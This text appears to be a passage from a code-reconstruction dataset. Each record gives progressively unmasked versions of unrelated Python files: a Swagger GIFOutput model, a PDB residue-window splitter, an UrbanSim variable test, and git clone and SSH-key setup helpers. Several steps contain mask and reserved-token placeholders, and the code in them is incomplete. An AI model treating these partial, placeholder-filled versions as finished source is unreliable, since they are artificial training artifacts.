__repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-5": "# coding: utf-8\n\n\"\"\"\n Idomoo API\n\n\n\n OpenAPI spec version: 2.0\n Contact: dev.support@idomoo.com\n\n\"\"\"\n\n\nimport pprint\n\nimport six\n\n\nclass GIFOutput(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'gif_fps': 'float',\n 'color_depth': 'float',\n 'gif_loop': 'int',\n 'height': 'float',\n 'start': 'float',\n 'duration': 'float',\n 'suffix': 'str',\n 'overlay': 'str',\n 'overlay_alignment': 'list[str]',\n 'overlay_scale': 'str',\n 'label': 'str'\n }\n\n attribute_map = {\n 'gif_fps': 'gif_fps',\n 'color_depth': 'color_depth',\n 'gif_loop': 'gif_loop',\n 'height': 'height',\n 'start': 'start',\n 'duration': 'duration',\n 'suffix': 'suffix',\n 'overlay': 'overlay',\n 'overlay_alignment': 'overlay_alignment',\n 'overlay_scale': 'overlay_scale',\n 'label': 'label'\n }\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None, height=None, start=None, duration=None,\n suffix=None, overlay=None, overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\"Invalid value for `gif_fps`, must be a value less than or equal to `30`\")\n\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\"Invalid value for `gif_loop`, must be a value greater than or equal to `-1`\")\n\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError(\"Invalid value for `height`, must not be `None`\")\n\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError(\"Invalid value for `start`, must not be `None`\")\n\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = [\"left\", \"center\", \"right\", \"top\", \"middle\", \"bottom\"]\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n \"Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]\"\n .format(\", \".join(map(str, set(overlay_alignment) - set(allowed_values))),\n \", \".join(map(str, allowed_values)))\n )\n\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = [\"fit\", \"fill\", \"none\"]\n if overlay_scale not in allowed_values:\n raise ValueError(\n \"Invalid value for `overlay_scale` ({0}), must be one of {1}\"\n .format(overlay_scale, allowed_values)\n )\n\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-ids": [ 27, 28, 29, 31, 33 ] }

[ 27, 28, 29, 31, 33 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for l in pdb: if not l.startswith('ATOM'): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res) - 2): outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w') for r in res[i:i + 3]: for j in r: print >> outp, j <|reserved_special_token_1|> <|reserved_special_token_0|> pdb = open(sys.argv[1]) name = sys.argv[2] res = [] resid = None for l in pdb: if not l.startswith('ATOM'): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res) - 2): outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w') for r in res[i:i + 3]: for j in r: print >> outp, j <|reserved_special_token_1|> import sys pdb = open(sys.argv[1]) name = sys.argv[2] res = [] resid = None for l in pdb: if not l.startswith('ATOM'): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res) - 2): outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w') for r in res[i:i + 3]: for j in r: print >> outp, j <|reserved_special_token_1|> import sys pdb = open(sys.argv[1]) name = sys.argv[2] res = [] resid = None for l in pdb: if not l.startswith("ATOM"): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res)-2): outp = open("%s%d-%dr.pdb"%(name,i+1,i+3), "w") for r in res[i:i+3]: for j in r: print >> outp, j,

flexible

{ "blob_id": "d867d17b2873de7c63d0ff29eb585cce1a68dda6", "index": 6081, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor l in pdb:\n if not l.startswith('ATOM'):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\nfor i in range(len(res) - 2):\n outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w')\n for r in res[i:i + 3]:\n for j in r:\n print >> outp, j\n", "step-3": "<mask token>\npdb = open(sys.argv[1])\nname = sys.argv[2]\nres = []\nresid = None\nfor l in pdb:\n if not l.startswith('ATOM'):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\nfor i in range(len(res) - 2):\n outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w')\n for r in res[i:i + 3]:\n for j in r:\n print >> outp, j\n", "step-4": "import sys\npdb = open(sys.argv[1])\nname = sys.argv[2]\nres = []\nresid = None\nfor l in pdb:\n if not l.startswith('ATOM'):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\nfor i in range(len(res) - 2):\n outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w')\n for r in res[i:i + 3]:\n for j in r:\n print >> outp, j\n", "step-5": "import sys\n\npdb = open(sys.argv[1])\nname = sys.argv[2]\n\nres = []\nresid = None\nfor l in pdb:\n if not l.startswith(\"ATOM\"):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\n\nfor i in range(len(res)-2):\n outp = open(\"%s%d-%dr.pdb\"%(name,i+1,i+3), \"w\")\n for r in res[i:i+3]:\n for j in r:\n print >> outp, j,\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

# Opus/UrbanSim urban simulation software. # Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington # See opus_core/LICENSE from opus_core.variables.variable import Variable from variable_functions import my_attribute_label class total_land_value_if_in_plan_type_group_SSS(Variable): """Sum of land values of locations if in plan_type_group SSS, 0 otherwise.""" def __init__(self, group): self.group = group Variable.__init__(self) def dependencies(self): return [my_attribute_label("is_in_plan_type_group_%s" % self.group), my_attribute_label("total_land_value")] def compute(self, dataset_pool): return self.get_dataset().get_attribute("is_in_plan_type_group_%s" % self.group) * \ self.get_dataset().get_attribute("total_land_value") def post_check(self, values, dataset_pool): self.do_check("x >= 0", values) from opus_core.tests import opus_unittest from opus_core.tests.utils.variable_tester import VariableTester from numpy import array class Tests(opus_unittest.OpusTestCase): def test_my_inputs(self): total_land_value = array([100, 200, 300]) is_in_plan_type_group_residential = array([1, 0, 1]) tester = VariableTester( __file__, package_order=['urbansim'], test_data={ "gridcell":{ "grid_id":array([1,2,3]), "total_land_value":total_land_value, "is_in_plan_type_group_residential":is_in_plan_type_group_residential } } ) should_be = array([100, 0, 300]) instance_name = "urbansim.gridcell.total_land_value_if_in_plan_type_group_residential" tester.test_is_equal_for_family_variable(self, should_be, instance_name) if __name__=='__main__': opus_unittest.main()

normal

{ "blob_id": "52bb10e19c7a5645ca3cf91705b9b0affe75f570", "index": 4764, "step-1": "<mask token>\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n <mask token>\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n <mask token>\n\n\n<mask token>\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n <mask token>\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n\n def post_check(self, values, dataset_pool):\n self.do_check('x >= 0', values)\n\n\n<mask token>\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n \"\"\"Sum of land values of locations if in plan_type_group SSS, 0 otherwise.\"\"\"\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n\n def post_check(self, values, dataset_pool):\n self.do_check('x >= 0', values)\n\n\n<mask token>\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\nif __name__ == '__main__':\n opus_unittest.main()\n", "step-4": "from opus_core.variables.variable import Variable\nfrom variable_functions import my_attribute_label\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n \"\"\"Sum of land values of locations if in plan_type_group SSS, 0 otherwise.\"\"\"\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n\n def post_check(self, values, dataset_pool):\n self.do_check('x >= 0', values)\n\n\nfrom opus_core.tests import opus_unittest\nfrom opus_core.tests.utils.variable_tester import VariableTester\nfrom numpy import array\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\nif __name__ == '__main__':\n opus_unittest.main()\n", "step-5": "# Opus/UrbanSim urban simulation software.\r\n# Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington\r\n# See opus_core/LICENSE\r\n\r\nfrom opus_core.variables.variable import Variable\r\nfrom variable_functions import my_attribute_label\r\n\r\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\r\n \"\"\"Sum of land values of locations if in plan_type_group SSS, 0 otherwise.\"\"\"\r\n\r\n def __init__(self, group):\r\n self.group = group\r\n Variable.__init__(self)\r\n\r\n def dependencies(self):\r\n return [my_attribute_label(\"is_in_plan_type_group_%s\" % self.group), \r\n my_attribute_label(\"total_land_value\")]\r\n\r\n def compute(self, dataset_pool):\r\n return self.get_dataset().get_attribute(\"is_in_plan_type_group_%s\" % self.group) * \\\r\n self.get_dataset().get_attribute(\"total_land_value\")\r\n\r\n def post_check(self, values, dataset_pool):\r\n self.do_check(\"x >= 0\", values)\r\n\r\n\r\nfrom opus_core.tests import opus_unittest\r\nfrom opus_core.tests.utils.variable_tester import VariableTester\r\nfrom numpy import array\r\nclass Tests(opus_unittest.OpusTestCase):\r\n def test_my_inputs(self):\r\n total_land_value = array([100, 200, 300])\r\n is_in_plan_type_group_residential = array([1, 0, 1])\r\n\r\n tester = VariableTester(\r\n __file__,\r\n package_order=['urbansim'],\r\n test_data={\r\n \"gridcell\":{ \r\n \"grid_id\":array([1,2,3]),\r\n \"total_land_value\":total_land_value, \r\n \"is_in_plan_type_group_residential\":is_in_plan_type_group_residential\r\n }\r\n }\r\n )\r\n \r\n should_be = array([100, 0, 300])\r\n instance_name = \"urbansim.gridcell.total_land_value_if_in_plan_type_group_residential\"\r\n tester.test_is_equal_for_family_variable(self, should_be, instance_name)\r\n\r\n\r\nif __name__=='__main__':\r\n opus_unittest.main()", "step-ids": [ 6, 7, 9, 10, 11 ] }

[ 6, 7, 9, 10, 11 ]

flexible

{ "blob_id": "ece20c8c8fae2225cbac3552e254314b7116057c", "index": 7095, "step-1": "<mask token>\n", "step-2": "import numpy\nimport math\nimport operator\n", "step-3": "import numpy\n#Matrixmultiplikation\n#Matrixinvertierung\n#nicht p inv\n#selbst invertierbar machen\n\nimport math\nimport operator", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }

[ 0, 1, 2 ]

<|reserved_special_token_0|> def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [x.a_path for x in repo.index.diff(None)]: return True return False <|reserved_special_token_1|> <|reserved_special_token_0|> def init_repo(metadata: str, path: str, deep_clone: bool) ->Repo: clone_path = Path(path) if not clone_path.exists(): logging.info('Cloning %s', metadata) repo = Repo.clone_from(metadata, clone_path ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1) else: repo = Repo(clone_path) return repo def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [x.a_path for x in repo.index.diff(None)]: return True return False <|reserved_special_token_1|> import logging import subprocess from pathlib import Path from typing import Union from git import Repo def init_repo(metadata: str, path: str, deep_clone: bool) ->Repo: clone_path = Path(path) if not clone_path.exists(): logging.info('Cloning %s', metadata) repo = Repo.clone_from(metadata, clone_path ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1) else: repo = Repo(clone_path) return repo def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [x.a_path for x in repo.index.diff(None)]: return True return False <|reserved_special_token_1|> import logging import subprocess from pathlib import Path from typing import Union from git import Repo def init_repo(metadata: str, path: str, deep_clone: bool) -> Repo: clone_path = Path(path) if not clone_path.exists(): logging.info('Cloning %s', metadata) repo = (Repo.clone_from(metadata, clone_path) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)) else: repo = Repo(clone_path) return repo def init_ssh(key: str, key_path: Path) -> None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(0o400) scan = subprocess.run([ 'ssh-keyscan', '-t', 'rsa', 'github.com' ], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [ x.a_path for x in repo.index.diff(None)]: return True return False

flexible

{ "blob_id": "cb2dd08a09d2e39bd83f82940c3d9a79a5a27918", "index": 6523, "step-1": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-3": "<mask token>\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-4": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef 